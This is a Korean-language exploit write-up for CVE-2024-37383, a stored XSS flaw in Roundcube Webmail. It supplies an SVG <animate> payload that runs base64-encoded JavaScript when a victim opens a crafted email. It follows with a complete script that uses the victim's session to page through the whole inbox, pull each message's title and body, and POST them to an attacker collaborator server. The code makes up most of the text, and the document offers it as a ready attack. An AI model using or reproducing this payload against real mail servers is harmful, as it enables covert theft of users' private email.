
Roundcube 메일 서버의 CVE-2024-37383 (저장형 XSS) 익스플로잇
CVE-2024-37383 취약점은 Roundcube Webmail 이메일 클라이언트에서 발견되었습니다. 이는 공격자가 사용자 페이지에서 JavaScript 코드를 실행할 수 있게 하는 저장형 XSS(Stored XSS) 취약점입니다. 취약점을 악용하려면 공격자는 Roundcube 클라이언트 버전 1.5.6 미만 또는 1.6 ~ 1.6.6을 사용하는 대상에게 악성 이메일을 열기만 하면 됩니다.
<animate> 태그에 넣어 서버로 전송할 수 있습니다. (악성 메일을 보내려면 SMTP 서버를 구성하는 것이 좋습니다.)<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
이 코드는 Roundcube 웹메일 서버에서 모든 받은 편지함 메시지를 검색하고 해당 데이터를 특정 협력자 서버 엔드포인트로 전달하는 프로세스를 자동화합니다.
주요 웹메일 URL(target)과 수신 서버 URL(attackerserver)을 시작 부분에 변수로 정의하여 쉽게 구성할 수 있습니다.
getPageCount 함수는 주요 웹메일 URL에 GET 요청을 보내 메타데이터를 가져오며, 여기에는 전체 페이지 수(pagecount)가 포함됩니다. pagecount가 발견되면 각 페이지를 반복 처리합니다.
1부터 pagecount까지 각 페이지에 대해 페이지 번호가 포함된 URL을 구성하여 요청합니다.
각 페이지 응답에서 add_message_row(NUMBER) 인스턴스를 정규식을 사용하여 찾고, 각 인스턴스에서 메시지 ID를 추출하여 모든 ID를 하나의 목록에 수집합니다.
각 메시지 ID에 대해 해당 메시지의 상세 데이터를 요청하는 URL을 구성합니다. 각 메시지 ID URL에 GET 요청을 보내 전체 응답 HTML을 수신합니다.
각 메시지 응답 내에서 정규식을 사용하여 <title> (메시지 제목)과 주요 메시지 내용을 캡처합니다.
메시지 내용에서 모든 HTML 태그를 제거하여 일반 텍스트만 남깁니다.
추출된 각 메시지에 대해 서버 엔드포인트로 제목과 정리된 메시지 내용을 URL 인코딩하여 POST 요청을 보냅니다.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";
// Use regex to extract the main message content
var regex = /<!-- html ignored --><!-- head ignored --><!-- meta ignored -->([\s\S]*?)<\/div>/g;
let messageMatches;
while ((messageMatches = regex.exec(messageResponseText)) !== null) {
// Clean HTML tags from the message content
let cleanMessage = messageMatches[1].replace(/<\/?[^>]+(>|$)/g, ""); // Remove HTML tags
// Send the cleaned message and title to the user via POST request
sendMessageToUser(cleanMessage.trim(), title);
}
}
};
// Handle network errors for message request
messageReq.onerror = function() {
// Error handling for message request
};
// Send the request for the current message URL
messageReq.send();
})(newUrl);
});
}
};
// Handle network errors for page request
pageReq.onerror = function() {
completedRequests++; // Increment completed request count even on error
};
// Send the request for the current page
pageReq.send();
})(page);
}
}
} catch (error) {
// Error handling for JSON parsing
}
}
};
// Handle network errors for initial request
req.onerror = function() {
// Error handling for initial request
};
// Send the request
req.send();
}
// Function to send cleaned message and title to the specified user via POST request
function sendMessageToUser(message, title) {
var postReq = new XMLHttpRequest();
postReq.open('POST', attackerserver, true);
postReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// Define the response handler for the POST request
postReq.onload = function() {
// Response handler for successful send
};
// Handle network errors for sending message
postReq.onerror = function() {
// Error handling for message send
};
// Send the POST request with the URL-encoded title and message content
postReq.send(`title=${encodeURIComponent(title)}&message=${encodeURIComponent(message)}`);
}
// Usage
var url = `${target}/?_task=mail&_action=list&_layout=widescreen&_mbox=INBOX&_page=1&_remote=1&_unlock=loading1730525119718&_=1730525069360`;
getPageCount(url);